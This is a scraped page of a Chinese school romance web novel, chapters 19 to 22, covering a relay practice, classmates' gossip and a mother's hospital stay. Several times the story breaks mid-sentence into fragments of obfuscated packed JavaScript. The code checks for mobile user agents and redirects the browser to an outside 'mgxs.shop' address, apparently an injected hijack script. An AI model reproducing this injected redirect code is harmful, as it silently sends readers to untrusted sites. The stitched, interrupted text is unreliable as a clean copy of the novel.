0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356297|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在最后一个考场的最后一个位置上,桑群眉头紧锁,笔在试卷上无意识地画着横线。 托物理6分的福,他有幸当了回倒一。虽说考场是熟悉的考场,但这里的人怎么回事? 前座这个,擤了半天鼻涕了,有病去耳鼻喉科别来考试;斜前那个,翻了半天试卷了,是每页只写一个字吗绕圈造句呢;旁边埋头答题的,嘴里神叨叨半天还玩抛橡皮,是赌神上身还是鬼上身? 好像找到自己上次睡着的原因了呢。 眼不见为净。 但想起早上阮牧年的话,还是咬咬牙忍了下去。 算了。 某人失落起来也挺难哄的。 两天的考试终于告一段落,从考场出来后,桑群第一眼先锁定站在巷口的阮牧年,第二步直接迈过去一头栽倒。 “哎呀,”阮牧年拍了拍肩上的脑袋,“怎么了,又睡着啦?” “没,”桑群闷声道,“多少名能摆脱这个考场?” “一个考场30个人吧,”阮牧年想了想说,“进步个50名差不多。” 桑群在他身上深深地吸了口气,阮牧年的气息,是熟悉的沐浴露味和一种难以言明的软软的香味,非常舒适。 多吸几口。 简直是氧气罐。 他真是服了,怎么会有人在考场抠脚啊? 监考老师不管管吗,巡逻领导不管管吗? 就放任臭气弥漫半个教室? 再不出来他要憋死过去了。 察觉到某人似乎在自己身上进行某种怪异的吸猫动作,阮牧年迷惑地顺了顺他的后脑头发,问:“这么累的嘛?” 桑群点头,继续吸。 “好了好了,”肩膀痒痒的,阮牧年拍着他的背说,“回家吃饭,走啊。” 桑群伸出手。 阮牧年自觉地把自己的书包递上。 听他讲了最后考场的事情,阮牧年笑了一路,回家开门后张手瘫倒在了沙发上。 砸得有点用力,还弹了一下。 桑群坐过去,就见刚躺下的咸鱼挺身而起,凑了过来。 阮牧年在他鼻尖上蹭了蹭,笑眯眯道:“现在考完啦,接下来就是假期啦!” 心跳忽然漏跳了一拍。 莫名其妙,阮牧年又不是第一次黏着自己,可能只是被吓了一跳吧。 桑群伸手捏住对方的鼻子,问:“怎么这么开心?” “嗯唔,捏我鼻子干嘛,”阮牧年带着鼻音挣脱他,说,“哈哈当然很开心啊。” 想了想,没忍住又笑了两声。 果然学习的尽头不是天才就是疯子,桑群担忧地看着他,一场月考就要疯了? “张老师也教一班物理,”阮牧年解释道,“他们班课代表上学期比我高了0.5,今天跟她对完答案,终于扳回一局啦哈哈。” 桑群:“?” 有病。 这就是学霸的世界吗,0.5有什么好争的。 算了,小傻子高兴就好。 阮牧年拍了拍沙发:“你起来,我手机在你屁股底下。” “没坐到,”桑群澄清,“它在沙发缝里。” “怎么又跑缝里了,”阮牧年探头,靠在桑群肩头捞,“虽然运动会在国庆假期之后,但还是看看有没什么新安排。” 这就赖上了。 阮牧年在身上趴了老半天了,什么消息看这么久,桑群拍了拍他的后背:“睡着了?” “嗯……你要失去自由了桑桑,”阮牧年顿了顿,说,“高璋说下午五点多接力跑要集体练习一下,哦,篮球赛也要训练,是在国庆期间。” “我都要去?” “没有没有,”阮牧年说,“替补不用去,你去练习接力跑就好了。” 五点多,大概就是平常最后一节课的时间,今天考试放学早,这意味着待会儿还得回学校一趟。 麻烦,当然还有更麻烦的,桑群又拍了拍阮牧年,上手捏了一下他的腰:“你到底什么时候下来。” 502应该拿阮牧年当原料,根本甩不掉。 粘群板终于肯坐直了,若无其事问:“晚上想吃什么?” 总觉得他的眼神有一瞬怪异,是错觉吗,桑群道:“肉。” 阮牧年若有所思:“嗯……运动后确实容易饿,主食就米饭吧,再来几道菜……” 大厨开始构思晚餐了,桑群看了眼挂钟,差不多到时间了,打算去参加那什么接力练习。 刚站起来,衣角就被人抓住了。 阮牧年仰头看着他:“桑桑,来抱一下。” 忽然就被温热的双臂圈住,有点紧,桑群直觉出了什么事:“怎么了?” “加油啊桑桑,”阮牧年埋在他肚子上,在他后背用力搓了搓,“高璋话有点多,比较浮夸,你别让人尴尬,多少语气词敷衍应一下,然后其他同学都挺好说话的,好好社交,别跟个锯嘴葫芦似的……” 就为了这事?桑群道:“我长嘴了。” 阮牧年反问:“你用吗?” 桑群:“……” 阮牧年又问:“高璋是谁?” 桑群:“…………” “是咱们体委,”阮牧年叹了口气,果然还是要提前交代一下,“另外几个参加接力的同学分别是……” 走出屋子往学校去,桑群运转了半天的脑子只记住了体委一个人。 名字两个字。 呃。 姓张来着? 20. 20 怀里还残存着桑群的体温,果然还是戒不掉拥抱,总得这样才能安心。 阮牧年窝在沙发上,再度点开消息栏。 其实体委只发了接力练习的通知,剩下的消息来自另一个联系人。 【妈妈:见一面吧,10月3日下午1点,我在这里订了个包间】 【妈妈:[定位]】 【妈妈:牧年,先前我忙于工作,很多事上难免疏忽,你也明白,有些事情需要谈一谈】 【妈妈:如果你不愿意见老徐,那就我们两个人见面】 直接给了地址和时间,阮牧年再也不能用含糊其辞来推脱。 是妈妈的风格,干脆利落,下定决心就很难劝动,结婚是,离婚也是。 刚刚讨要了一个拥抱,手指至少不会发抖了,阮牧年打字。 【Ruann:我没有讨厌叔叔的意思,只是觉得有些尴尬】 【Ruann:那3号见吧,妈妈】 懒得找表情包活跃气氛了,发完阮牧年把手机一扔,抱着膝弯发呆。 还是对桑群撒谎了,明明上次刚露馅,这次好像瞒过去了。 阮牧年不知道该高兴还是难过。 反正国庆桑群会忙起来的,应该顾不上他是去打篮球还是干什么,之后他问起,再向他赔罪吧。 ……晚饭做丰盛点吧,先赔一点点。 阮牧年心虚地走向厨房。 另一边的某人没走两步就打了个喷嚏。 奇怪,也不冷啊。 更奇怪的是,都走出这么远了,腰间还有股酥麻感。 难道被勒红了? 还是摩擦起电。 嘶。 好可怕的名词,桑群赶紧摇摇头,快步往操场走。 一眼就能认出张……体委,高壮的体格站在跑道旁,一对粗眉非常显眼。 懂了,粗眉等于体委,体委等于张什么。 其他同学还是没记住叫啥,好在体委给每个人安排了顺序,姑且称呼为123棒吧。 桑群是4棒。 或许是因为六爷在,其他同学都不敢耽搁太久,很快就开始练习。 每人两百米,跑不重要,先练接棒。 前几棒都很顺利,3棒冲得很猛,跟桑群擦肩而过,倒是记得交棒了,没成功,接力棒啪嗒掉在地上。 四下静默。 想起阮牧年叫他不要太沉默的叮嘱,桑群无语地开口表达无语:“干什么。” 3棒虎躯一震,完了完了,自己好像要小命不保。 体委站出来打圆场:“呃,再试一次吧,从这边开始就好。李子,快交棒的时候速度要降下来,六……桑群同学,你看他快过来了也跟着往前跑几步,这样起跑不会太突然。” 要用语气词敷衍,桑群深得要领:“哦。” 体委虎躯一震,难道自己表达不够得体吗,六爷貌似很不满意? “呃,尽量……跟着往前跑几步哈。”体委委婉地又说了一次。 桑群点头:“哦。” 体委:“……” 算了,先这样练着吧。 李……什么,李3棒同学在跑道上留出五十米距离,重新跑过来。 快接近的时候,桑群按照指导先起步,看着接力棒就要递进手里,他伸手一抓。 抓了个空。 啪嗒。 李3棒手里也空了。 怎么会这样,而且周围没人说话,桑群只好出声:“嗯?” 其余人虎躯一震,糟糕,三番两次搞砸,六爷是不是要发怒了? 体委硬着头皮继续出面打圆场:“再试试?要不我来示范一下……” “璋哥算了,”李3棒说,“我好像不太适合跑3棒,跟别人换个位置吧。” 问了一圈,最后2、3棒互换。 李3棒遗憾成为李2棒,刚换过来的同学还不知道姓啥,干脆就叫新3棒好了。 又试了一次,新3棒原本交接得很好,谁知临近桑群的位置,可能是用力过猛,接力棒脱手而出,从空中向桑群袭来—— 桑群:“?” 围观群众们不忍直视地闭上眼,新3棒虎躯一震,心如死灰,跑都跑不动了。 料想中的落地声没有传来。 可喜可贺,接力棒没有掉地上,也没有砸中六爷,而是被桑群半空接住。 虽然交接成功了,但好好地把接力棒交到他手里很困难吗,桑群无需回想嘱咐,真情流露发声:“搞什么。” 众人五度虎躯一震。 新3棒直冒汗:“我、我好像也不太适合三棒,还能再换吗……” 体委头疼捂住脸:“这个……” 桑群抛了抛手里的接力棒,有别人的手汗,回去得多搓几遍肥皂。 一群人练了半天连个流程都顺不下来,到他这儿就断掉——他是什么黑洞吗? 体委跟其他人眼神交流了好一阵,最终还是站出来:“我跟六……桑群同学试一下吧,你们注意看细节。” 桑群把接力棒递出去。 定睛一看,体委接过它只抓了四分之一的部分。 这跑两步就能甩出去了吧? 想起阮牧年说的“他们怕你”,虽然不知道为什么,但可能亲和一点会比较好。 桑群冷着一张脸,学着其他人的叫法对体委说:“加油,张哥。” 高璋瞳孔骤缩,天呐,六爷居然喊他哥,这说出去能吹到下辈子啊。 内心忽然就被斗志点燃,起跑,缓速,递交接力棒,终于缔造了今日第一次三四棒交接成功的奇迹。 众人间的阴霾也有所消散,体委指挥道:“总之就是这样,大家再试试吧,先把接棒练好,然后我们休息一下。” “OKOK。” “好的璋哥。” 桑群牢记使命:“嗯,张哥。” 体委:“……” 祖宗您能别开口吗,他真受不住这声哥啊。 多亏高璋同学开了好头,接下来的练习明显顺利很多,三四棒也终于不断了,桑群很欣慰,就是新3棒的手看着老抖,不知道是不是有什么隐疾。 体委拍了拍手宣布可以休息一会儿,不远传来一声招呼:“呦,大家在练接力呢?” 扭头一看,刘嘉拎着一大袋黑色垃圾袋走过来。 体委:“你干嘛呢,还没走啊?” “我今天值日啊,”刘嘉苦着脸,“扔完这袋垃圾就可以走了。诶,六……桑群你也在啊。” 桑群:“……我姓桑,不姓刘。” 一个两个都要在他名字前面顿一下,搞什么呢? “哦,”刘嘉傻乎乎给他解释道,“其实是差点喊成外号,当着本人的面不太礼貌,所以就改叫名字了。” 体委和其他人在一旁疯狂挤眉弄眼,小嘉儿你也别啥话都往外蹦啊。 “外号?” “人称‘六爷’,”刘嘉乐呵呵道,“很响亮吧。” 体委:“……” 这就很有礼貌了吗。 桑群:“……?” 六爷?什么破称呼,因为他物理考6分吗。 无聊,感觉在这儿也跟他们聊不到一块去,不如去厕所洗下手。 桑群对体委颔首:“我去个厕所。” 体委连忙点头:“啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356298|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的好的,去吧。” 直到六爷孤傲的背影逐渐远去——大家看他自带滤镜——体委才松下一口气,用力拍了下刘嘉的肩膀:“我的天,小嘉儿你是真的莽啊。” “如果你跟我一样和六爷坐了快一个月的前后桌,”刘嘉呵呵一笑,“你也会这么勇敢的。” 体委哈哈道:“不过,刚六爷管我叫哥呢,怎么样,你没有这待遇吧?” 刘嘉傻眼:“啥?” 1棒点头:“我作证,他叫了。” 李2棒:“我发誓,是真的。” 新3棒:“我也是,是这样。” 刘嘉强烈怀疑:“不可能,六爷连我的名字都没记住,怎么可能叫你哥?” “不信你等他待会儿来了亲自听呗。”体委得意。 又有个熟人路过,跟他们打了个招呼。 “嗨,你们居然还练习运动会项目,”程抒晴捧着一沓试卷经过,道,“没几天就运动会了,我们班都没时间组织练习,唉。” “哈喽抒晴,”刘嘉经常见她来找阮牧年,比较熟,“你捧着啥呢,不会是周末作业吧?” “哈哈不是哦。” “呼,那就好……” “是国庆作业呢。” “……” 体委顿觉四肢虚浮:“不是,班主任怎么又发力了?说好的减轻作业呢?” “我也不知道啊,”程抒晴问,“话说,阮牧年呢?” “走了吧,”刘嘉说,“你找他有什么事吗?” “考完就跑吗,真是的,”程抒晴撇了撇嘴,“这一大堆试卷就得我一个人搬啊。” “程姐辛苦了,”刘嘉抱拳,“下周肯定替你好好说说他。” 程抒晴笑了笑:“还是小嘉儿护着我,那我先上去啦。” “慢走慢走,一定要劝班主任少布置作业啊。” “哈哈会的会的。” 望着女生远去的背影,五个人安静了两秒,忽然响起了一声口哨。 是体委吹的。 接着是3棒、1棒,还有李2棒,高低不齐地吹了下去。 目光聚焦到刘嘉脸上。 “呼……我、我不会吹啊,”刘嘉苦恼地打乱队形,“你们干嘛呢。” 体委左右看了看,神秘地招手让大家聚过来:“你们说,那个传闻是不是真的啊?” 刘嘉一脸状况外:“什么传闻?” “就,程抒晴,”体委挤了挤眼睛,“和咱们牧年……” 李2棒叹了口气:“我倒希望不是真的,抒晴是我女神啊。” “哇塞,李子你……” “不过我也知道自己不可能,”李2棒挠了挠头,“有什么八卦你们放心聊,我也想听听。” “你要这么说的话,”刘嘉若有所思,“那我还真想到了一些事情……” 体委催促:“跟哥几个说说。” “他俩不是物理课代表吗,有时候从办公室回来,会在后门外的走廊聊很久才分开,”刘嘉回忆着,“牧年每次进门都带着笑呢。” “嚯。” 众人纷纷低声惊呼。 “诶诶,我也知道一个,”1棒说,“有人见过他俩在行政楼那边有说有笑散步呢。” “嚯。” 众人再叹。 “我也有爆料,”体委掩着嘴给兄弟们分享,“我一朋友跟他们同个考场,他说每次考试做完卷子,牧年都会盯着程抒晴的方向发呆,这两天他们考前考后都凑一块,牧年甚至没跟以前的同班同学打招呼……” “嚯!” “嚯。” 众人一僵,等等,这声音是…… 21. 21 六爷插着兜站在刘嘉身后,冷脸看着他们。 不能冷场,桑群开口:“聊啊。” 怎么不继续了。 众人:“……” “呃,六爷你回来了啊,”刘嘉干笑两声,“没纸擦手是不?哎正好我有,给你。” 桑群接过:“多谢。” 手都擦完了一圈人还沉默着,没话说了只能围观? 刚不还聊得很高兴么,肩靠肩手搭手的。 桑群扫了他们一圈,纳闷:“怎么不聊了。” “呃,六爷,”体委小心翼翼地问,“斗胆问一句,您跟您同桌的关系……还好吧?” 桑群:“挺好的。” 其他人:“……” 不是很信呢。 刘嘉道:“我们聊牧年的八卦呢,你不介意就好。” 这小嘉儿的嘴是一点事儿都瞒不住啊。 “什么八卦。” 难得见六爷对自身之外的其他人流露出了解的兴趣,大家纷纷开腔,你一言我一语的,气氛居然还很融洽。 李2棒悲观摇头:“我觉得没跑了。” 1棒附和:“就算不是郎有情妾有意,也至少有一方动心。” 体委喟叹:“讲真,金风玉露。” 刘嘉给了他一拳:“语文学傻了?那叫金童玉女。” 新3棒满眼憧憬:“般配啊般配。” 桑群无语:“扯淡。” 其他人纷纷看过来,体委问:“六爷,您有何高见?” 身为牧年的亲亲同桌,想来六爷手里一定有最劲爆的八卦。 桑群:“……他没谈。” “万一是暗恋呢?” “不可能。” “为什么,”刘嘉真诚发问,“咋看出来的?” 这还用看? 阮牧年什么样他不知道,这小子能喜欢人?没被吓哭一鼻子都不错了。 直觉是讲不清楚的,但不能不回答别人的话,语气词敷衍,这个他会,桑群冷嘲:“呵。” “没事,六爷你下课补觉不知道,”刘嘉说,“他俩真走挺近的。” 体委问:“六爷,您见过程抒晴吗?” 桑群:“……谁。” 众人一脸了然,看来不是自己消息不够灵通,是对方消息太滞后了。 “哎呀,你去了厕所不知道,”刘嘉说,“刚才抒晴姐还路过我们这里,打听牧年去哪儿了呢。” 桑群:“……他回家了。” “是呀,你品,明知道考完试找不到人大概是回家了,却还要跟同学问一嘴,有种隐隐的不甘心的试探……不然你说,她怎么不问阮牧年在干什么呢?” 桑群:“他在做饭。” “是吧,我就说……哈?你说啥?” 刘嘉慢半拍反应过来,其他人也是一脸呆愣:“你、你咋知道的?” 桑群:“……” 糟糕,听了一耳朵虚假传闻,嘴一瓢就没忍住说了实话。 虽然阮牧年现在没再要求他跟自己在外人面前保持距离,但他们的事解释起来很麻烦。 桑群:“他走前……说的。” 众人松了口气,差点以为他俩住一起呢。 “哦哦,你俩考完遇见了是吧,”刘嘉恍然大悟,“总之你看,他们绝对有猫腻。” 桑群还是不信:“呵。” 这时,一阵铃声响起,是体委的闹钟。 他一拍脑袋:“哎呀,聊太久都忘了时间。其他年段快下课了,咱们再抓紧练习最后一次,然后就可以解散了!” “好嘞。” “OKOK。” “哦。” 最后一个语气词极其突兀。 刘嘉拎着垃圾走了,运动员们去跑道上站好,体委站在树下悄悄戳手机。 总觉得六爷今天十分诡异,问问他同桌好了。 【将将将璋:牧年,在干嘛呢?】 消息回得很快。 【Ruann:做饭呢,怎么啦?】 【将将将璋:哦哦没什么大事,就是想来问问六爷平常都是咋说话的?】 【Ruann:?他咋了】 【将将将璋:他今天一直在回答我的话,甚至还叫我璋哥……好可怕,他平常也这样吗?】 【Ruann:啊】 【Ruann:他咋回答的?】 【将将将璋:就嗯哦呵这样?】 【Ruann:呃】 【Ruann:没事,这其实是他表达友好的方式,只是不知道该说什么,所以才会用语气词回答】 【将将将璋:哦哦原来是这样!那我悟了】 【Ruann:嗯呢,别担心,他也叫我哥,不要有压力~】 【将将将璋:好嘞,话说我发现咱们私下的班级群里好像没有六爷,本来还想拉他进接力赛小群,牧年,你有他好友吗?】 【Ruann:[名片]】 【Ruann:加这个】 【将将将璋:OK!牧年还是你靠谱!】 【Ruann:哈哈好好训练呀[加油]】 【将将将璋:包的包的[握拳]】 喜滋滋地搞到了六爷的账号,体委忙不迭发送申请。 从班级群里没有六爷来看,想必他一定是除了牧年之外第一个加到六爷好友的人。 哈哈刘嘉要羡慕死了。 不过……总觉得哪里不太对劲? 是啊,他把训练通知发在了班级群里,可六爷人不在班级群啊! 那他咋知道要来的? 牧年告诉他的?不不不,他俩不是在刚考完的时候碰面的吗?那时他还没发通知呢。 除非……体委想到一个可怕的可能性,六爷和牧年自碰面后就没分开过,所以六爷知道牧年要做饭,而牧年收到通知也就能直接告诉六爷…… 我靠。 那他俩这是啥关系啊? 聊了一通八卦,其他人明显没那么怕桑群了,大家配合得还算不错,顺利完成最后一次练习。 准备走的时候,桑群被体委拦住:“呃,六爷,好友通过一下呗?” 什么好友,桑群摸了下口袋:“没带手机,周末再说。” “哦哦,好的,一定要加啊,我拉你进咱们接力赛小群。” “哦。” “好了,慢走啊。” 桑群真的想转头就走,但忽然又想起了阮牧年的嘱咐。 啧,社交真麻烦。 行吧,也算不忘初心了。 他对体委点了点头:“再见,张哥。” 体委愣在原地,随即羞赧地捂住了脸。 六爷人真好啊,不仅体贴地帮他补上缺人的项目,还积极参加训练,努力融入大家的聊天,不知道怎么回答问题也绝不沉默,看着不爱说话实则非常有礼貌还叫他哥—— 总之,从现在起他就是六爷毒唯了! 让刘嘉看看,他推的六爷,不比对方推的牧年差! 毒唯热血了一瞬,忽然反应过来。 六爷说“周末再说”,那至少从考完到现在,对方都没有碰过手机。 岂不是正坐实了来训练前,他和牧年一直待在一个能做饭的地方?! 我靠我靠,细思极恐啊…… “粗思也恐。” 桑群没听懂:“什么玩意。” 阮牧年摇摇头,只是刚刚想到了自己行为的漏洞,有些懊恼。 “光顾着叫你去训练,忘记你不在群里了,”阮牧年叹了口气,“算了,想来体委也没那么细心,刚我把你推给他了,记得加一下。” 桑群:“不想加。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356299|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 难怪在说什么好友,原来是阮牧年搞的鬼。 阮牧年看过来:“嗯?” “没必要。”桑群在桌前坐下,手肘搭在椅背上,“训练、不训练,你告诉我就行了。” “可……” 阮牧年还想说点什么,桑群看着他,忽然抬手摸了摸他的头。 想到今天听到的那些事,可怜的年年,都不知道别人在外怎么编排他。 “算了吧,”桑群说,“我只能做到这个程度了。” 他这些年斩断了很多不必要的东西,只有目光清晰才能坚定眼前的路。同学、老师,或者别的什么人,他没有兴趣跟他们有过多往来。 今天肯去学校已经很给阮牧年面子了,看他蛮开心的没想扫兴,更多的就算了。 阮牧年皱眉:“你已经逃得够久了。” “你不是吗,”桑群反问,“胆小鬼。半斤八两,谁也别嘲笑谁。” 阮牧年心里一跳,难道妈妈的事他已经察觉到了? 桑群看他眼神有异,也不由怀疑,难道那些传闻并非子虚乌有? 阮牧年有喜欢的人……他不敢想象。 那意味着,那个爱哭的年年、会撒娇的年年、脆弱的年年,以及笑起来像天使一样的年年,可能不再只是他一个人能看到的年年了。 习惯了被小年糕缠住,去接受有一天自己会脱离阮牧年的关注中心,竟意外地让他感到不安。 不会的,不会的。 再怎么说,早恋耽误学习。 阮牧年难得没跟他有过多眼神交流,别过脸去:“总有一天……” 声音太低了,没听清。桑群直起身:“说什么?” “没什么,”阮牧年拍了拍他的肩膀,“你不加……就不加吧,班级群总是要进一下的,我拉你,你把它屏蔽掉就好。” 总感觉漏掉了什么很关键的东西,桑群想要探究他的目光,却总是被躲着:“你干嘛去。” “端菜,”阮牧年背着他走向厨房,“吃饭了。” 总有一天,我也会成为你的没必要吗? 光是想到这个可能性就窒息,比妈妈说不要他更让人心痛。 桑群说得没错,他就是个胆小鬼。这些年一直在害怕,如果他不抓紧一点,如果他不够用力…… 那根系在他和桑群身上的、细若游丝的隐形的线,是否会在岁月流转中慢慢腐化断裂? 面对妈妈的谈话,他感到不安;面对桑群的冷淡,他感到惶恐。 手指伸向盘子,却细细发着抖,振作一点,阮牧年,才没几小时就要露馅了吗? 他深吸一口气,却没能完整吐出去。 因为桑群站到了厨房门口,手里拿着手机。 “年年,”他惯常冷静的声音竟有些发抖,“我……我得去趟医院,我妈她……” 阮牧年一愣,连忙回头:“阿姨怎么了?” “说是腿伤了,不知道什么情况,”桑群皱起眉,手机抓得很紧,却还是感觉会滑掉,“我去看看,你……” 阮牧年丢下围裙:“我也去。” 桑群看着他,私心希望他能陪着自己一起去,但。 “我先过去,”他抓了抓阮牧年的肩膀,极力缓下声线说,“你帮忙再做一份饭好不好?我给你地址,你提饭过来给我们,可以吗?” 阮牧年抿了抿唇,这种时候出事,从家里带饭总比外面的健康,道理他都明白。 他张开手臂,重重地搂住桑群,像是要给他力量一样。 毕竟他们都是胆小鬼,除了互相汲取能量以外,一无所有。 “嗯,我再做点清淡的,或者阿姨有什么想吃的,你跟我说,”阮牧年抱着他,搓他绷紧的肩胛骨,“桑群,路上小心。” 桑群回抱住他,发冷的指尖勉强吸收到一点温度:“嗯,我等你。” 22. 22 医院里弥漫着刺鼻的消毒水味,桑群不太喜欢这个地方,那联系着他最深的噩梦。 桑母的病房在走廊尽头,医院有些老旧,走廊一扇窗都没有,刺眼的白炽灯照得视网膜酸痛。 风堵塞着,然后门推开了。 桑母坐在病床上,裤腿卷起,雪白的绷带缠得发肿。 桑群叫了一声:“妈。” 桑母看见他轻轻皱眉:“……真不知道她们叫你来干什么,再晚两分钟我就自己跑回家了。” “都骨折了,还不当回事,”来的路上医生已经跟他说了大致情况,桑群在床边坐下,“既然建议你住两天,那就受下罪,反正过两天国庆节放假,我也能……” “你能干什么?”桑母反问道,“你最近不是洗心革面要好好读书吗?不用管我,我自己在家躺躺就差不多了,也不用破这个费……” 桑群看着她:“你以为这样我就不会问吗。为什么受伤?” “……搬东西不小心撞到了,这么点事搞得兴师问罪似的。” “你搬什么东西,”桑群的目光很平静,带着些许压迫感,撑在膝头的双拳早已握紧,“有什么东西是需要你搬的?” “工厂里总有事忙……”桑母垂下眼,神色有些僵硬。 “撒谎,”桑群说,“最近厂里不忙,没钱赚了,你又跑去接别的活儿是不是?” 床上的人没再说话。 “他们都告诉我了,你是从工地来的,”桑群叹了口气,语调低低的,“那种地方都是苦力活,不是你该干的……” “不是我该干的,难道就是你该干的吗?”桑母抬眼看他,情绪有些不稳定,“你一个未成年,不回家住也不问家里要钱,几百块从上学期用到现在,你平时在干什么?” 桑群皱眉:“这个你不用管,我……” “是啊,我不用管,”桑母冷笑,声音不自觉抬高,“那你也不用在这里对我说教。” 桑群眯了眯眼,没再说话。 桑母别过脸去:“……跟你说不过两句就要吵,不如我跟年年聊天。” 桑群:“他待会儿就来了。” 桑母顿了顿,回头看他:“你叫他来干什么?” 桑群却问:“吃饭了吗。” “吃过……” “咕——” 桑母有些尴尬地收住话头。 桑群替她掩饰过去,低声道:“我饿了,一块儿吃吧,年年亲自做的。” “哼,”桑母嫌弃地看了他一眼,“长这么大了,还要年年照顾你。” “他是哥哥啊。” 提到阮牧年,母子俩之间的氛围总算没那么剑拔弩张了。 “有什么想吃的,”桑群拿出手机,“让他给你做。” “麻不麻烦啊,”桑母叹了口气,“你就天天使唤人家是吧?叫他随便做点就好,我减肥呢。” 桑群轻哼:“你胖过吗。” “胖过啊,生……”桑母说到一半停住了,生硬地续上,“反正,你们长身体的先吃饱再说。” 桑群听懂了被她截断的话音,是生他的时候。 母亲的体态早已不如当年,发丝凌乱许久未梳理,只是草草扎了个马尾。在工厂、工地或是其他什么地方到处奔波,家里的化妆品也早已落灰。 以前母亲总是喜欢修身的长裙,挽起一边发丝,然后明媚温雅地笑。 现在不能了,太多东西化作风霜,侵袭这张姣好精美的面庞。 连回忆上次她的笑容,都需要苦思冥想。 “皱着眉头想什么呢?”桑母的声音打断他的思绪,“来了一张嘴就教训我,不开口就沉默得跟尊雕像似的,我看你还得收费是吧?” 桑群怔了怔:“没,我……” “锯嘴葫芦,”桑母嘁了一声,“一瓢水都装不下。” 桑群:“……” “你先嫌我烦的,”桑群无语,“安静了又嫌我沉默。要不定个闹钟吧,让响响,让停停。” “怎么不反省一下自己连闹钟都不如?人工还智障?” “……刚就应该让年年做点鸡肉给你吃。” “你自己多补点核桃吧,别天天夹门里。” 桑群张了张嘴,没想到更毒的。 “呵,”他只好认输,“你赢了。” “斗嘴还想斗赢我呀,”桑母得意,“也不看看你是谁教的。” “是是,”桑群无奈点头,“全仰仗您。” 两人又没话了一会儿,母亲的神色变得不自在,反复抠指甲缝。 刚刚是她先开口,现在该轮到自己了。 “嗯,”桑群绞尽脑汁,“这两天参加了月考……” “怎么,”桑母立马接住他的话,“你以前从不参加?” “不是,”桑群挤牙膏似的进行小学生周记汇报,“这次没睡觉,全程考完了……” 桑母惊奇:“你还在考场睡觉过?考的怎么样?” 桑群:“……6分。” 桑母的表情变得一言难尽:“那你也是个人才。” “物理,”桑群又说,放弃了衔接词,“班主任的课。” 桑母挑了挑眉,拿出手机翻了翻:“最近也没接到学校来电啊,你考成这样不需要叫家长吗。” “是上学期,新的班主任还能跨期执法吗,”桑群说,“我捡彩票都能中奖。” 桑母无语:“那是人家开奖后扔地上的,跟你没关系。” “反正,”桑群迅速结束这个话题,“很顺利。呃,还报名了运动会……” 桑母担忧地叹了口气:“你这表达能力,作文是不是10分都没有啊?” “怎么可能,”桑群果断反驳她,“少说十几分。” 桑母:“……呵呵。” 很光荣吗? “刚练完接力回来,”桑群继续日程汇报,感觉没什么可讲了,“嗯……年年做的晚饭很香,一闻就饿了,你待会儿尝尝。” 桑母问:“做的什么菜?” 桑群:“……肉?” “你考6分的真的是物理吗,”桑母一脸怀疑,“不应该是语文吗?” “不可能,”桑群斩钉截铁道,“语文至少比它多一位数。” 桑母挑眉:“16?” 桑群:“……60。好歹也是满分150的科目,对我一点信心都没有吗。” 桑母:“有不了一点。” 桑群:“……” 两人无言地互瞪了两秒,桑母说:“3秒后响铃。” 桑群刚要说什么,她又补充一句:“铃声将进酒。” “……您直接认闹钟当干儿子得了,”桑群无语至极,“整天在手心里陪着,说什么干什么,也不用搁我这儿费劲。” “是啊,”桑母说,“你怎么不跟你弟弟学学?” 桑群深吸一口气,没能完全吐出来。 病房门在这时敲响了。 护士姐姐先走进来:“就是这儿了。” “好的好的,谢谢姐姐带路,”熟悉的清朗少年音在门外响起,进门先向病房里的所有人点头问了声好,“打扰了大家。” 护士走了,阮牧年两手拎满了东西走向第一张病床:“阿姨你怎么样了啊?不好意思我来晚了……” “哎呦,”桑母本来靠着枕头,看见他直接坐直了,“你这孩子,提饭就提饭,怎么还买这么多东西过来?” “不多啊,就是饭后水果,”手里两袋饭盒一袋水果,阮牧年把它们放到床头柜上,在病床另一边坐下,“我和桑群每天都要吃至少三种水果呢,您不吃我俩都不一定够。” “嚯,”桑母转头看向自家儿子,“这么养生?” 桑群:“……嗯。” 怎么张嘴就来,桑群想了半天,有这回事吗。 “情况怎么样啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356300|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严不严重?”阮牧年看了看桑母的脚,眉毛皱起满脸担忧,“桑群没说两句就赶来看您了,我刚也来不及多问……这是打石膏了吗,疼不疼啊?” “没事没事,哎呀别担心,”看他眼睛都快红了,桑母连忙拍了拍他的手,握在掌心里,“没什么大事,医生说躺几天就好了,一点磕磕碰碰而已,瞧你吓的。” 